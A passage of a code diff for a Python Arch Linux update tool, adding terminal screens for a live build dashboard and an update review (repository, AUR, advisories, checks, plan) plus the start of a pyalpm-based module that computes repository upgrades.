+ def section(self, title: str, meta: str = "") -> None:
+ self.blank()
+ row = self.row().span(title.upper(), self.theme.text or None)
+ if meta:
+ row.right(meta, self.theme.muted)
+ self.add(row.done())
+ self.blank()
+
+ def hint(self, text: str, keys: str) -> None:
+ """A right-aligned keybinding hint on the last line of a screen."""
+ self.blank()
+ self.add(self.row().span(text, self.theme.muted).right(keys, self.theme.muted).done())
+
+ # -- rows --------------------------------------------------------------
+
+ def row(self, indent: int | None = None) -> Row:
+ grid = Grid(
+ width=self.columns.width,
+ indent=self.columns.indent,
+ right_margin=self.columns.right_margin,
+ )
+ return grid.row(indent)
+
+ def finish(self, row: Row) -> Row:
+ self.clipped += row.clipped
+ self.add(row.done())
+ return row
+
+ # -- output ------------------------------------------------------------
+
+ def render(self) -> list[Text]:
+ """Validate every line against the width and return them."""
+ if self.lines:
+ widest = max(line.cell_len for line in self.lines)
+ if widest > self.columns.width:
+ offender = next(l for l in self.lines if l.cell_len == widest)
+ raise Overflow(
+ f"line is {widest} cells, width is {self.columns.width}: {offender.plain!r}"
+ )
+ return self.lines
+
+ def text(self) -> str:
+ return "\n".join(line.plain for line in self.render())
+
+
+# re-exported so renderers import one name for both
+from ..layout import Overflow # noqa: E402,F401
+
+# --------------------------------------------------------------------------
+# small formatting helpers used by several screens
+# --------------------------------------------------------------------------
+
+
+def human_bytes(size: int, *, signed: bool = False) -> str:
+ """Human-readable size. Keeps a negative sign, and with `signed` marks a
+ positive too, because an on-disk delta is a change either way."""
+ sign = "-" if size < 0 else ("+" if signed and size > 0 else "")
+ value = abs(size)
+ for unit in ("B", "KiB", "MiB", "GiB", "TiB"):
+ if value < 1024 or unit == "TiB":
+ if unit == "B":
+ return f"{sign}{value} B"
+ return f"{sign}{value:.1f} {unit}" if value < 100 else f"{sign}{value:.0f} {unit}"
+ value /= 1024
+ return f"{sign}{value:.1f} TiB"
+
+
+def human_age(seconds: float) -> str:
+ """Rough age, for "your databases are this stale" style messages."""
+ if seconds < 90:
+ return f"{int(seconds)}s"
+ if seconds < 5400:
+ return f"{int(seconds / 60)}m"
+ if seconds < 172800:
+ return f"{seconds / 3600:.0f}h"
+ return f"{seconds / 86400:.0f}d"
+
+
+def truncate(text: str, limit: int) -> str:
+ if limit <= 1 or len(text) <= limit:
+ return text
+ return text[: limit - 1] + "…"
diff --git a/updater/render/build.py b/updater/render/build.py
@@ -0,0 +1,423 @@
+"""The live build dashboard.
+
+Layout, top to bottom:
+
+ DONE completed packages, oldest first, newest appended at the bottom
+ BUILDING the remaining dependency graph, with shared deps marked
+ footer live build/download/time counters
+
+`dashboard=False` renders the DONE feed alone. That is not a degraded mode: it is
+the ledger form, where completed packages simply scroll into terminal history
+instead of being redrawn. It is what the runtime toggle switches to.
+"""
+
+from __future__ import annotations
+
+from dataclasses import dataclass, field
+
+from rich.text import Text
+
+from ..buildgraph import Graph
+from ..icons import Glyphs
+from ..procwatch import BuildState, format_duration
+from ..theme import Theme
+from .base import Columns, Screen, human_bytes, truncate
+
+STATE_GLYPH = {"done": "done", "run": "run", "wait": "wait", "fail": "fail"}
+STATE_ROLE = {"done": "ok", "run": "accent", "wait": "muted", "fail": "err"}
+
+
+@dataclass
+class FeedEntry:
+ """One package that has finished. Enters the feed exactly once."""
+
+ name: str
+ version: str = ""
+ elapsed: float = 0.0
+ state: str = "done" # done | fail
+ shared: bool = False
+ note: str = ""
+
+ @property
+ def clock(self) -> str:
+ return format_duration(self.elapsed)
+
+
+@dataclass
+class Totals:
+ """Everything the footer reports. All of it is measured, none of it guessed."""
+
+ total: int = 0
+ elapsed: float = 0.0
+ eta: float | None = None
+ download_bytes: int = 0
+ download_rate: float = 0.0
+ download_remaining: int = 0
+ download_eta: float | None = None
+
+
+@dataclass
+class TreeNode:
+ name: str
+ version: str = ""
+ state: str = "wait"
+ note: str = ""
+ elapsed: str = ""
+ shared: bool = False
+ children: list[TreeNode] = field(default_factory=list)
+
+
+def build_tree(
+ graph: Graph,
+ *,
+ completed: set[str],
+ running: set[str],
+ failed: set[str],
+ states: dict[str, BuildState],
+) -> list[TreeNode]:
+ """Turn the dependency graph into a display tree of what is left to do.
+
+ A node reached twice is marked shared and not expanded again, which is what
+ makes the diamonds (one package two others both need) legible rather than
+ duplicated into a wall.
+ """
+ seen: set[str] = set()
+
+ def state_of(name: str) -> str:
+ if name in failed:
+ return "fail"
+ if name in running:
+ return "run"
+ if name in completed:
+ return "done"
+ return "wait"
+
+ def visit(name: str, depth: int) -> TreeNode:
+ node = graph.nodes.get(name)
+ state = state_of(name)
+ already = name in seen
+ seen.add(name)
+
+ deps = sorted(node.deps) if node else []
+ pending = [d for d in deps if d not in completed and d not in failed]
+
+ note = ""
+ elapsed = ""
+ known = node.metadata_known if node else False
+ if already:
+ note = "shared"
+ elif not known:
+ # deps are unknown, not satisfied: "ready" would be a lie
+ note = "metadata missing"
+ elif state == "run":
+ live = states.get(name)
+ note = live.phase if live and live.phase else "building"
+ elapsed = live.clock if live else ""
+ elif state == "fail":
+ note = "failed"
+ elif state == "wait":
+ blocked_by = sorted(d for d in deps if d in failed)
+ if blocked_by:
+ note = f"blocked by {', '.join(blocked_by[:2])}"
+ elif pending:
+ note = f"waiting on {len(pending)} dep{'s' if len(pending) > 1 else ''}"
+ else:
+ note = "ready"
+
+ children: list[TreeNode] = []
+ if not already and state != "done" and depth < 6:
+ children = [visit(d, depth + 1) for d in deps if d in graph.nodes]
+ return TreeNode(
+ name=name,
+ version=node.version if node else "",
+ state=state,
+ note=note,
+ elapsed=elapsed,
+ shared=already,
+ children=children,
+ )
+
+ return [visit(root, 0) for root in graph.roots]
+
+
+def _tree_lines(
+ screen: Screen,
+ nodes: list[TreeNode],
+ cols: Columns,
+ bars: list[bool] | None = None,
+ root: bool = True,
+) -> None:
+ g = screen.glyphs
+ theme = screen.theme
+ for index, node in enumerate(nodes):
+ last = index == len(nodes) - 1
+ row = screen.row()
+ for more in bars or []:
+ row.span((g.pipe + " ") if more else " ", theme.rule)
+ if not root:
+ row.span((g.last if last else g.branch) + " ", theme.rule)
+
+ row.span(getattr(g, STATE_GLYPH[node.state]), getattr(theme, STATE_ROLE[node.state]))
+ row.span(" ")
+ style = {"done": theme.ok, "run": theme.accent, "wait": theme.muted, "fail": theme.err}[
+ node.state
+ ]
+ name_limit = max(8, cols.ver - row.at - 2)
+ row.span(truncate(node.name, name_limit), style)
+ if node.version and not cols.narrow:
+ row.to(cols.ver)
+ row.span(truncate(node.version, max(4, cols.note - cols.ver - 2)), theme.ver)
+
+ tail = f"{g.shared} shared" if node.shared else node.note
+ if tail and not cols.narrow:
+ row.to(cols.note)
+ reserve = len(node.elapsed) + 2 if node.elapsed else 0
+ row.span(truncate(tail, max(4, cols.right - row.at - reserve)), theme.muted)
+ if node.elapsed:
+ row.right(node.elapsed, theme.muted)
+ screen.finish(row)
+
+ if node.children:
+ child_bars = list(bars or []) + ([not last] if not root else [])
+ _tree_lines(screen, node.children, cols, child_bars, root=False)
+
+
+def _feed_lines(screen: Screen, feed: list[FeedEntry], cols: Columns) -> None:
+ """Completed packages. The newest is appended at the bottom of the feed."""
+ theme, g = screen.theme, screen.glyphs
+ for entry in feed:
+ row = screen.row(indent=cols.feed_indent)
+ row.span(
+ getattr(g, STATE_GLYPH.get(entry.state, "done")),
+ getattr(theme, STATE_ROLE.get(entry.state, "ok")),
+ )
+ row.span(" ")
+ style = theme.err if entry.state == "fail" else (theme.text or None)
+ row.span(truncate(entry.name, max(8, cols.feed_ver - row.at - 2)), style)
+ if entry.version and not cols.narrow:
+ row.to(cols.feed_ver)
+ row.span(entry.version, theme.ver)
+ tail = f"{g.shared} shared" if entry.shared else entry.note
+ if tail and not cols.narrow:
+ row.to(cols.feed_note)
+ reserve = len(entry.clock) + 2 if entry.elapsed else 0
+ row.span(truncate(tail, max(4, cols.right - row.at - reserve)), theme.muted)
+ if entry.elapsed:
+ row.right(entry.clock, theme.muted)
+ screen.finish(row)
+
+
+def _footer(
+ screen: Screen,
+ totals: Totals,
+ *,
+ done: int,
+ running: int,
+ failed: int,
+ waiting: int,
+ cols: Columns,
+) -> None:
+ theme, g = screen.theme, screen.glyphs
+ screen.blank()
+ screen.rule()
+ screen.blank()
+
+ first = cols.indent
+ second = cols.indent + int((cols.width - cols.indent) * 0.30)
+ third = cols.indent + int((cols.width - cols.indent) * 0.60)
+
+ def row(a, b, c):
+ line = screen.row()
+ line.span(a[0], a[1])
+ line.to(second)
+ line.span(b[0], b[1])
+ if c[0]:
+ line.to(third)
+ line.span(c[0], c[1])
+ screen.finish(line)
+
+ del first
+ row(("BUILDS", theme.accent), ("DOWNLOADS", theme.accent), ("TIME", theme.accent))
+ dl = f"↓ {human_bytes(totals.download_bytes)}" if totals.download_bytes else "idle"
+ row(
+ (f"{g.run} {running} running", theme.accent),
+ (dl, theme.text or None),
+ (f"{format_duration(totals.elapsed)} elapsed" if totals.elapsed else "", theme.muted),
+ )
+ rate = f"{human_bytes(int(totals.download_rate))}/s" if totals.download_rate else "—"
+ remaining = (
+ f"{human_bytes(totals.download_remaining)} left" if totals.download_remaining else "—"
+ )
+ eta = f"~{format_duration(totals.eta)} left" if totals.eta else ""
+ row((f"{g.done} {done} done", theme.ok), (rate, theme.muted), (eta, theme.muted))
+ row(
+ (
+ f"{g.fail} {failed} failed" if failed else f"{g.wait} 0 failed",
+ theme.err if failed else theme.muted,
+ ),
+ (remaining, theme.muted),
+ ("", None),
+ )
+ row(
+ (f"{g.wait} {waiting} waiting", theme.muted),
+ (f"Σ {totals.total} packages", theme.text or None),
+ ("", None),
+ )
+
+
+def build(
+ *,
+ graph: Graph,
+ theme: Theme,
+ glyphs: Glyphs,
+ width: int = 100,
+ feed: list[FeedEntry] | None = None,
+ states: list[BuildState] | None = None,
+ completed: set[str] | None = None,
+ running: set[str] | None = None,
+ failed: set[str] | None = None,
+ totals: Totals | None = None,
+ parallelism: str = "",
+ dashboard: bool = True,
+ into: Screen | None = None,
+) -> list[Text]:
+ """Render the dashboard, or the feed alone when the dashboard is toggled off."""
+ feed = list(feed or [])
+ states = list(states or [])
+ completed = set(completed or ())
+ failed = set(failed or ())
+ running = set(running or ()) | {s.package for s in states}
+ totals = totals or Totals(total=len(graph) if graph else len(feed))
+
+ screen = into or Screen(theme=theme, glyphs=glyphs, columns=Columns.for_width(width))
+ cols = screen.columns
+
+ done = sum(1 for e in feed if e.state != "fail")
+ feed_failed = sum(1 for e in feed if e.state == "fail")
+ waiting = max(0, totals.total - done - feed_failed - len(running))
+
+ if dashboard:
+ screen.header(f"arch linux · {parallelism}" if parallelism else "arch linux")
+
+ screen.section(
+ "Done" if dashboard else "Completed",
+ f"{done} of {totals.total}" if totals.total else f"{done}",
+ )
+
+ if not feed:
+ screen.add(
+ screen.row(indent=cols.feed_indent).span("nothing finished yet", theme.muted).done()
+ )
+
+ _feed_lines(screen, feed, cols)
+
+ if not dashboard:
+ return screen.render()
+
+ live = build_tree(
+ graph,
+ completed=completed,
+ running=running,
+ failed=failed,
+ states={s.package: s for s in states},
+ )
+ screen.section(
+ "Building",
+ f"{len(running)} running · {waiting} waiting"
+ + (f" · {len(failed)} failed" if failed else ""),
+ )
+ if live:
+ _tree_lines(screen, live, cols)
+ else:
+ screen.add(screen.row().span("no packages left to build", theme.muted).done())
+
+ _unorderable(screen, graph, cols, running=running, completed=completed)
+
+ _footer(
+ screen,
+ totals,
+ done=done,
+ running=len(running),
+ failed=len(failed),
+ waiting=waiting,
+ cols=cols,
+ )
+ screen.hint("", "[v] hide dashboard [s] skip [l] log [q] quit")
+ return screen.render()
+
+
+def _unorderable(
+ screen: Screen,
+ graph: Graph,
+ cols: Columns,
+ *,
+ running: set[str] | None = None,
+ completed: set[str] | None = None,
+) -> None:
+ """Report anything the build order does not cover.
+
+ An order that silently omits packages is worse than no order: the user would
+ watch a build finish and still be missing updates. Missing metadata and
+ dependency cycles need completely different fixes, so they are listed
+ separately rather than collapsed into one vague warning.
+
+ Anything already started or finished is filtered out: this describes what is
+ left to do, and a package cannot be both in flight and waiting on metadata.
+ """
+ settled = set(running or ()) | set(completed or ())
+ unknown = [n for n in (getattr(graph, "unknown", ()) or ()) if n not in settled]
+ blocked = [n for n in (getattr(graph, "blocked_by_unknown", ()) or ()) if n not in settled]
+ cycles = list(getattr(graph, "cycles", ()) or ())
+ if not (unknown or blocked or cycles):
+ return
+
+ theme, g = screen.theme, screen.glyphs
+ meta = []
+ if unknown:
+ meta.append(f"{len(unknown)} with no metadata")
+ if blocked:
+ meta.append(f"{len(blocked)} held behind them")
+ if cycles:
+ meta.append(f"{len(cycles)} dependency cycle(s)")
+ screen.section("Cannot be ordered", " · ".join(meta))
+
+ for name in unknown[:6]:
+ row = screen.row()
+ row.span(g.warn, theme.warn)
+ row.span(" ")
+ row.span(truncate(name, max(8, cols.ver - row.at - 2)), theme.text or None)
+ if not cols.narrow:
+ row.to(cols.note)
+ row.span(truncate("dependencies unknown", cols.right - row.at), theme.muted)
+ screen.finish(row)
+ if len(unknown) > 6:
+ screen.add(screen.row().span(f"+ {len(unknown) - 6} more", theme.muted).done())
+
+ for name in blocked[:4]:
+ screen.add(
+ screen.row()
+ .span(f"{g.wait} ", theme.muted)
+ .span(truncate(name, max(8, cols.right - 34)), theme.muted)
+ .right("waiting on missing metadata", theme.muted)
+ .done()
+ )
+
+ for cycle in cycles[:2]:
+ screen.add(
+ screen.row()
+ .span(f"{g.fail} ", theme.err)
+ .span(" → ".join(cycle[:5]), theme.err)
+ .done()
+ )
+ screen.add(
+ screen.row(indent=cols.indent + 3)
+ .span("circular dependency — unbuildable as declared", theme.muted)
+ .done()
+ )
+
+ if unknown:
+ screen.add(
+ screen.row()
+ .span("fetch the missing PKGBUILDs before building this set", theme.muted)
+ .done()
+ )
diff --git a/updater/render/review.py b/updater/render/review.py
@@ -0,0 +1,392 @@
+"""The review screen: what is about to happen, before anything happens.
+
+Terse by default. Every row is short, every section states its own totals, and
+anything that needs a second line gets one only when it is genuinely a warning
+rather than a routine version bump.
+"""
+
+from __future__ import annotations
+
+from dataclasses import dataclass, field
+
+from rich.text import Text
+
+from ..audit import Basis, Report, Severity
+from ..icons import Glyphs
+from ..theme import Theme
+from .base import Columns, Screen, human_bytes, truncate
+
+
+@dataclass
+class RepoRow:
+ tag: str # U upgrade | N new | R removed | D downgrade
+ name: str
+ old: str
+ new: str
+ size: str = ""
+
+ @property
+ def role(self) -> str:
+ return {"U": "accent", "N": "ok", "R": "err", "D": "warn"}.get(self.tag, "muted")
+
+
+@dataclass
+class AurRow:
+ tag: str # U upgrade | ! needs a look | !! blocked
+ name: str
+ old: str
+ new: str
+ note: str = ""
+ loud: bool = False
+ details: list[str] = field(default_factory=list)
+ #: whether the package could be examined at all. An empty report for a
+ #: package with no PKGBUILD is not a clean result, and must not read as one.
+ audited: bool = True
+ #: read, but with nothing to compare against: a weaker answer than a diff,
+ #: and one that must not be presented as the same thing
+ uncompared: bool = False
+
+ @property
+ def role(self) -> str:
+ return "alert" if self.tag == "!!" else ("warn" if self.tag == "!" else "accent")
+
+
+@dataclass
+class VcsRow:
+ """A devel package paru would actually rebuild.
+
+ Carries the version transition, because "r634 -> r893" is the whole story:
+ a -git package's recorded version moves when upstream moves.
+ """
+
+ name: str
+ old: str = ""
+ new: str = ""
+
+
+@dataclass
+class CheckRow:
+ ok: bool
+ label: str
+ detail: str
+ #: a fuller explanation, shown when the row is opened. A check that has one
+ #: is worth opening; one that does not is a single fact and should not
+ #: pretend to be more.
+ details: list[str] = field(default_factory=list)
+ #: the command that resolves this check, if there is one. The front end asks
+ #: before running anything, and shows this exact string when it does.
+ action: list[str] = field(default_factory=list)
+ #: said out loud before an action runs
+ warning: str = ""
+
+
+@dataclass
+class Step:
+ index: str
+ command: str
+ detail: str
+ #: the full breakdown, shown when the step is opened: the exact argv, what
+ #: it will act on, and what it does underneath
+ details: list[str] = field(default_factory=list)
+ #: the ordered commands the step will actually run, as dicts. This is the
+ #: thing worth reading: `pacman -Syu` is a summary, not a queue.
+ queue: list[dict] = field(default_factory=list)
+
+
+@dataclass
+class Review:
+ """Everything the review screen renders. Assembled by the CLI."""
+
+ meta: str = ""
+ repo: list[RepoRow] = field(default_factory=list)
+ repo_total: int = 0
+ repo_download: int = 0
+ repo_delta: int = 0
+ aur: list[AurRow] = field(default_factory=list)
+ aur_total: int = 0
+ aur_build: int = 0
+ vcs: list[VcsRow] = field(default_factory=list)
+ #: (id, severity, fixed, packages, issues) for each advisory
+ advisories: list[tuple[str, str, str, str, int]] = field(default_factory=list)
+ checks: list[CheckRow] = field(default_factory=list)
+ steps: list[Step] = field(default_factory=list)
+ row_limit: int = 6
+ vcs_limit: int = 8
+
+ @property
+ def blocked(self) -> list[AurRow]:
+ return [r for r in self.aur if r.tag == "!!"]
+
+ @property
+ def loud(self) -> list[AurRow]:
+ return [r for r in self.aur if r.loud]
+
+
+#: Advisory severity, as arch-audit spells it, onto a role. Distinct from
+#: SEVERITY_ROLE, which maps the *audit's* own INFO/LOOK/BLOCK vocabulary.
+ADVISORY_ROLE = {
+ "critical": "alert",
+ "high": "alert",
+ "medium": "warn",
+ "low": "accent",
+}
+
+
+def advisory_role(severity: str) -> str:
+ return ADVISORY_ROLE.get((severity or "").strip().lower(), "muted")
+
+
+def aur_row_from(name: str, old: str, new: str, report: Report | None) -> AurRow:
+ """Derive the row's tone from the audit verdict, not from a separate flag."""
+ row = AurRow(tag="U", name=name, old=old, new=new)
+ if report is None:
+ return row
+ row.audited = report.audited
+ if not report.audited:
+ # an empty report for a package with no PKGBUILD is not a clean result
+ row.note = "not audited"
+ row.details = [report.basis.label]
+ return row
+
+ # Read, but with no earlier revision to compare against. Saying nothing
+ # would present a weaker check as a full one.
+ if report.basis is Basis.NEW_ONLY:
+ row.uncompared = True
+ row.details = [report.basis.label]
+
+ loud = report.loud
+ if not loud:
+ # No baseline is the normal state until an update has been recorded
+ # once, so it is not a row note -- that would mark every row on a first
+ # run. It stays in the detail, where it explains what was checked.
+ return row
+ worst = report.verdict
+ row.tag = "!!" if worst is Severity.BLOCK else "!"
+ row.loud = True
+ row.note = "will be skipped" if worst is Severity.BLOCK else "needs review"
+ row.details = [f"{f.title}" + (f" ({f.evidence})" if f.evidence else "") for f in loud[:3]]
+ return row
+
+
+# --------------------------------------------------------------------------
+
+
+def _package_row(
+ screen: Screen,
+ cols: Columns,
+ *,
+ tag: str,
+ role: str,
+ name: str,
+ old: str,
+ new: str,
+ note: str = "",
+ note_role: str = "muted",
+ size: str = "",
+) -> None:
+ theme, g = screen.theme, screen.glyphs
+ row = screen.row()
+ row.span(tag, getattr(theme, role))
+ row.span(" ")
+ name_limit = max(10, cols.ver - row.at - 4)
+ row.span(truncate(name, name_limit), theme.text or None)
+
+ if cols.narrow:
+ row.span(" ")
+ row.span(old, theme.old)
+ row.span(f" {g.arrow} ", theme.muted)
+ row.span(new, theme.new)
+ else:
+ row.right(old, theme.old, col=cols.ver - 5)
+ row.span(f" {g.arrow} ")
+ row.span(truncate(new, 16), theme.new)
+ if note:
+ row.to(cols.note)
+ room = cols.right - cols.note - (len(size) + 2 if size else 0)
+ row.span(truncate(note, max(4, room)), getattr(theme, note_role))
+ if size:
+ row.right(size, theme.muted)
+ screen.finish(row)
+
+
+def build(
+ review: Review,
+ *,
+ theme: Theme,
+ glyphs: Glyphs,
+ width: int = 100,
+ into: Screen | None = None,
+ dry_run: bool = False,
+) -> list[Text]:
+ screen = into or Screen(theme=theme, glyphs=glyphs, columns=Columns.for_width(width))
+ cols = screen.columns
+ g = glyphs
+
+ if review.meta:
+ screen.header(review.meta)
+
+ # -- repository --------------------------------------------------------
+ if review.repo:
+ meta = f"{review.repo_total or len(review.repo)} packages"
+ if review.repo_download:
+ meta += f" · {human_bytes(review.repo_download)} to download"
+ if review.repo_delta:
+ meta += f" · {human_bytes(review.repo_delta, signed=True)} on disk"
+ screen.section("Repository", meta)
+ for row in review.repo[: review.row_limit]:
+ _package_row(
+ screen,
+ cols,
+ tag=row.tag,
+ role=row.role,
+ name=row.name,
+ old=row.old,
+ new=row.new,
+ size=row.size,
+ )
+ hidden = (
+ review.repo_total - min(len(review.repo), review.row_limit)
+ if review.repo_total
+ else len(review.repo) - review.row_limit
+ )
+ if hidden > 0:
+ screen.add(screen.row().span(f"+ {hidden} more", theme.muted).done())
+
+ # -- AUR, VCS packages included ----------------------------------------
+ # VCS packages are AUR packages: same section, same rules, same ability to
+ # be skipped. A separate section implied they were a different kind of thing
+ # and could not be acted on.
+ if review.aur or review.vcs:
+ meta = f"{len(review.aur)} packages"
+ if review.vcs:
+ meta += f" · {len(review.vcs)} from git"
+ if review.aur_build:
+ meta += f" · {review.aur_build} to build"
+ screen.section("AUR", meta)
+
+ for row in review.aur[: review.row_limit]:
+ _package_row(
+ screen,
+ cols,
+ tag=row.tag,
+ role=row.role,
+ name=row.name,
+ old=row.old,
+ new=row.new,
+ note=row.note,
+ note_role=row.role,
+ )
+ for detail in row.details:
+ line = screen.row(indent=cols.indent + 4)
+ line.span(f"{g.warn} ", getattr(theme, row.role))
+ line.span(truncate(detail, cols.right - line.at), theme.muted)
+ screen.finish(line)
+ hidden = (
+ review.aur_total - min(len(review.aur), review.row_limit)
+ if review.aur_total
+ else len(review.aur) - review.row_limit
+ )
+ if hidden > 0:
+ screen.add(screen.row().span(f"+ {hidden} more", theme.muted).done())
+
+ if review.vcs:
+ # only devel packages paru would actually rebuild, so these are real
+ # updates and read like the rest of the section
+ for vcs in review.vcs[: review.vcs_limit]:
+ row = screen.row()
+ row.span("V ", theme.warn)
+ row.span(truncate(vcs.name, cols.ver - cols.indent - 4), theme.text)
+ row.right(vcs.old, theme.old, col=cols.ver - 2)
+ row.span(" ")
+ row.span(f"{g.arrow} ", theme.muted)
+ row.span(vcs.new, theme.new)
+ screen.finish(row)
+ if len(review.vcs) > review.vcs_limit:
+ screen.add(
+ screen.row()
+ .span(f"+ {len(review.vcs) - review.vcs_limit} more devel updates", theme.muted)
+ .done()
+ )
+
+ # -- security ----------------------------------------------------------
+ if review.advisories:
+ fixable = sum(1 for a in review.advisories if a[2])
+ meta = f"{len(review.advisories)} advisories"
+ if fixable:
+ meta += f" · {fixable} fixable"
+ else:
+ meta += " · none fixable by updating"
+ screen.section("Security", meta)
+ # fixable first: an update can only resolve those
+ for adv_id, severity, fixed, packages, issues in review.advisories:
+ row = screen.row()
+ # Severity decides the colour. Fixability is already said in
+ # words ("fixed in ..." / "none fixable"), and using the colour for
+ # it made Critical and Low the same shade -- the one distinction a
+ # security list exists to make.
+ role = advisory_role(severity)
+ # pad, do not just truncate: an 8-character id followed straight by
+ # a package name reads as one word
+ row.span(truncate(severity, 12).ljust(12) + " ", getattr(theme, role))
+ row.span(truncate(adv_id, 10).ljust(10) + " ", theme.text)
+ tail = f" {issues} CVE(s)" if issues else ""
+ row.span(truncate(packages, max(0, cols.right - row.at - len(tail))), theme.ver)
+ if tail:
+ row.right(tail.strip(), theme.muted)
+ screen.finish(row)
+
+ # -- checks ------------------------------------------------------------
+ if review.checks:
+ screen.section("Checks")
+ for check in review.checks:
+ row = screen.row()
+ row.span(g.done if check.ok else g.warn, theme.ok if check.ok else theme.warn)
+ row.span(" ")
+ row.span(f"{check.label:<14}", theme.text or None)
+ row.span(truncate(check.detail, cols.right - row.at), theme.muted)
+ screen.finish(row)
+
+ # -- plan --------------------------------------------------------------
+ if review.steps:
+ screen.section("Plan")
+ # From the content, not a constant: `paru -S --needed` is longer than a
+ # fixed column would be, so it runs straight into its own explanation.
+ command_width = min(26, max(14, max(len(s.command) for s in review.steps) + 2))
+ for step in review.steps:
+ row = screen.row()
+ row.span(step.index, theme.rule)
+ row.span(" ")
+ row.span(f"{step.command:<{command_width}}", theme.accent)
+ row.span(truncate(step.detail, cols.right - row.at), theme.muted)
+ screen.finish(row)
+
+ screen.blank()
+ blocked = len(review.blocked)
+ if blocked:
+ phrase = (
+ "1 package needs attention" if blocked == 1 else f"{blocked} packages need attention"
+ )
+ screen.add(screen.row().span(phrase, theme.alert).done())
+
+ if dry_run:
+ # never render a prompt that will not be waited on: it reads as the tool
+ # quitting unexpectedly rather than as a deliberate dry run
+ screen.add(
+ screen.row()
+ .span("dry run", theme.accent)
+ .span(" nothing has been applied", theme.muted)
+ .done()
+ )
+ screen.add(
+ screen.row()
+ .span("run ", theme.muted)
+ .span("updater", theme.accent)
+ .span(" without --dry-run to apply this plan", theme.muted)
+ .done()
+ )
+ return screen.render()
+
+ # deliberately no prompt here: `confirm()` owns it. Rendering it in the
+ # screen as well produced two prompts, the second appearing on its own line
+ # after the first keystroke.
+ return screen.render()
diff --git a/updater/repo.py b/updater/repo.py
@@ -0,0 +1,406 @@
+"""Repo-side updates, read straight out of libalpm.
+
+No parsing. pyalpm hands back versions, sizes, descriptions, install reasons and
+dependency lists directly, which is what makes it possible to render a plan that
+does not lie about what is about to happen.
+
+The one thing pyalpm does not do for us is register the sync databases, so the
+repo list is read from pacman.conf first.
+"""
+
+from __future__ import annotations
+
+import contextlib
+import fnmatch
+import re
+import shutil
+import subprocess
+import tempfile
+import time
+from dataclasses import dataclass, field
+from pathlib import Path
+
+import pyalpm
+
+from .srcinfo import dep_name
+
+DEFAULT_CONF = "/etc/pacman.conf"
+REASON_EXPLICIT = 0
+REASON_DEPEND = 1
+
+
+@dataclass(frozen=True)
+class Update:
+ """One package moving from an installed version to a sync version."""
+
+ name: str
+ old: str
+ new: str
+ repo: str
+ download: int = 0
+ installed_old: int = 0
+ installed_new: int = 0
+ desc: str = ""
+
+ @property
+ def delta(self) -> int:
+ """Change in on-disk size. Negative when the update shrinks the package."""
+ return self.installed_new - self.installed_old
+
+ @property
+ def is_downgrade(self) -> bool:
+ return pyalpm.vercmp(self.new, self.old) < 0
+
+
+@dataclass
+class Plan:
+ """What `pacman -Su` would actually do."""
+
+ updates: list[Update] = field(default_factory=list)
+ #: newer in the db but held back by IgnorePkg
+ ignored: list[str] = field(default_factory=list)
+
+ # NOTE: there is deliberately no `removals` member. A package with no sync db
+ # entry is a *foreign* package (AUR), which `pacman -Su` leaves alone; and a
+ # package genuinely dropped from a repo cannot be detected at all, because
+ # pacman records only what is in a database now. Reporting either as a
+ # removal would be a lie. `foreign()` is the honest accessor.
+
+ def __len__(self) -> int:
+ return len(self.updates)
+
+ @property
+ def download_total(self) -> int:
+ return sum(u.download for u in self.updates)
+
+ @property
+ def installed_delta(self) -> int:
+ return sum(u.delta for u in self.updates)
+
+ @property
+ def repos(self) -> list[str]:
+ return sorted({u.repo for u in self.updates})
+
+
+@dataclass(frozen=True)
+class Config:
+ repos: tuple[str, ...]
+ ignore_pkg: frozenset[str]
+ ignore_group: frozenset[str]
+
+
+def read_conf(path: str | Path = DEFAULT_CONF) -> Config:
+ """Parse the bits of pacman.conf we need: repo sections and ignore lists.
+
+ `Include` is deliberately not followed; it points at mirrorlists, which have
+ no bearing on which databases to register.
+ """
+ repos: list[str] = []
+ ignore_pkg: set[str] = set()
+ ignore_group: set[str] = set()
+ try:
+ text = Path(path).read_text(errors="replace")
+ except OSError:
+ return Config(("core", "extra"), frozenset(), frozenset())
+
+ section = None
+ for raw in text.splitlines():
+ line = raw.split("#", 1)[0].strip()
+ if not line:
+ continue
+ header = re.match(r"^\[(.+)]$", line)
+ if header:
+ name = header.group(1)
+ section = None if name == "options" else name
+ if section and section not in repos:
+ repos.append(section)
+ continue
+ if section is None:
+ key, _, value = line.partition("=")
+ key = key.strip()
+ for part in value.split():
+ if key == "IgnorePkg":
+ ignore_pkg.add(part)
+ elif key == "IgnoreGroup":
+ ignore_group.add(part)
+ return Config(tuple(repos), frozenset(ignore_pkg), frozenset(ignore_group))
+
+
+@contextlib.contextmanager
+def connect(root: str = "/", dbpath: str = "/var/lib/pacman", conf: str | Path = DEFAULT_CONF):
+ """An alpm handle with every configured repo registered.
+
+ Without the explicit register_syncdb calls the handle silently reports zero
+ sync databases, and therefore zero updates, which looks exactly like a
+ system that is fully up to date.
+ """
+ config = read_conf(conf)
+ handle = pyalpm.Handle(root, dbpath)
+ for name in config.repos:
+ try:
+ handle.register_syncdb(name, pyalpm.SIG_DATABASE_OPTIONAL)
+ except Exception: # noqa: BLE001, S112 - a missing optional repo is not fatal
+ continue
+ for path_ in ("/var/cache/pacman/pkg",):
+ with contextlib.suppress(Exception):
+ handle.add_cachedir(path_)
+ _register_ignores(handle, config)
+ try:
+ yield handle
+ finally:
+ del handle
+
+
+def _register_ignores(handle, config: Config) -> None:
+ """One owner for the ignore lists.
+
+ `connect()` registered them and `preview()` did not, and the plan is built
+ from the preview handle -- so `_is_ignored` always found an empty list and
+ every IgnorePkg package was offered as a pending upgrade while the apply,
+ which does use the preview handle, would have held it back.
+ """
+ for name in config.ignore_pkg:
+ with contextlib.suppress(Exception):
+ handle.add_ignorepkg(name)
+ for name in config.ignore_group:
+ with contextlib.suppress(Exception):
+ handle.add_ignoregrp(name)
+
+
+def _best_versions(handle) -> dict[str, object]:
+ """Newest version of each package across all sync dbs."""
+ best: dict[str, object] = {}
+ for db in handle.get_syncdbs():
+ for pkg in db.pkgcache:
+ cur = best.get(pkg.name)
+ if cur is None or pyalpm.vercmp(pkg.version, cur.version) > 0:
+ best[pkg.name] = pkg
+ return best
+
+
+def plan(handle) -> Plan:
+ """What a system upgrade would do, computed against the *current* sync dbs.
+
+ This must be called after the dbs have been refreshed, otherwise it reports
+ the truth about stale data, which is worse than reporting nothing.
+ """
+ best = _best_versions(handle)
+ local = handle.get_localdb()
+ result = Plan()
+
+ for lp in local.pkgcache:
+ sp = best.get(lp.name)
+ if sp is None:
+ continue # foreign (AUR); `pacman -Su` does not touch it
